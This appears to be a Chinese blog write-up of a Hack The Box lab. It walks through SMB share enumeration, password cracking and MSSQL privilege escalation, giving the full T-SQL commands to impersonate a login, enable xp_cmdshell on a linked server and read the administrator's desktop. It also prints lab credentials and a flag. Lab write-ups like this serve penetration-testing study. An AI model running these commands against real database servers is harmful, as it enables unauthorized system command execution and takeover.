Skip to content

HTB_AD_Test: CommonServices

题目描述

第三个服务器是另一个内部服务器,用于管理文件和工作材料,如表格。此外,服务器上还使用了一个数据库,我们不知道其用途。

简单记录以下。主要内容,通过smbclient获取共享目录中的敏感信息,取得账号。登陆到主机后通过sqlcmd连接mssql数据库。查找可以伪造的用户来进行权限提升,读取管理员桌面的文件。

信息收集

nmap扫描 10.129.146.199

135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds? 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM 3389/tcp open ms-wbt-server Microsoft Terminal Services

看到445首先想到文件共享,使用smbclient查看一下共享目录

alt text

分别在三个用户目录下发现txt文件, 下载后将所有的密码写入一个文件password.txt中,使用CME破解得到密码:48Ns72!bns74@S84NNNSl alt text

使用xfreerdp登录, 收集信息。由于题目中说有mssql服务在运行,确认后使用 Windows 身份验证模式连接到默认的 MSSQL实例,执行以下命令查找可以伪装的用户来读取位于管理员桌面的flag文件。

shell
# 需要找出可以冒充的用户
select distinct b.name From sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
# 从 sysservers 表中查询链接服务器,找到一个名为 LOCAL.TEST.LINKED.SRV 的服务器
# isremote 表示 1,表示该服务器是远程服务器,0 表示该服务器是链接服务器
select srvname, isremote FROM sysservers
# 检查 john 能否以系统管理员身份连接 LOCAL.TEST.LINKED.SRV
execute as login = 'john'
execute('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [LOCAl.TEST.LINKED.SRV]
# 在 LOCAL.TEST.LINKED.SRV 上启用 xp_cmdshell
execute('Execute sp_configure ''show advanced options'', 1; RECONFIGURE; execute sp_configure ''xp_cmdshell'',1; RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV]
# 使用xp_cmshell读取本地文件
execute('xp_cmdshell ''more c:\users\administrator\desktop\flag.txt''') AT [LOCAL.TEST.LINKED.SRV]

alt text

使用xp_cmdshell读取文件,得到flag:HTB{46u$!n9_l!nk3d_$3rv3r$}

alt text

总结

  1. 看到445端口,想到共享目录,使用smbclient查看获取敏感信息
  2. 在拿到一堆用户名、密码后使用hydra尝试破解获取明文密码
  3. 使用拿到的账号登录到机器,通过mssql相关操作来提升权限,读取管理员桌面文件。

⚠️ 内容仅供学习交流使用 | 本站访问量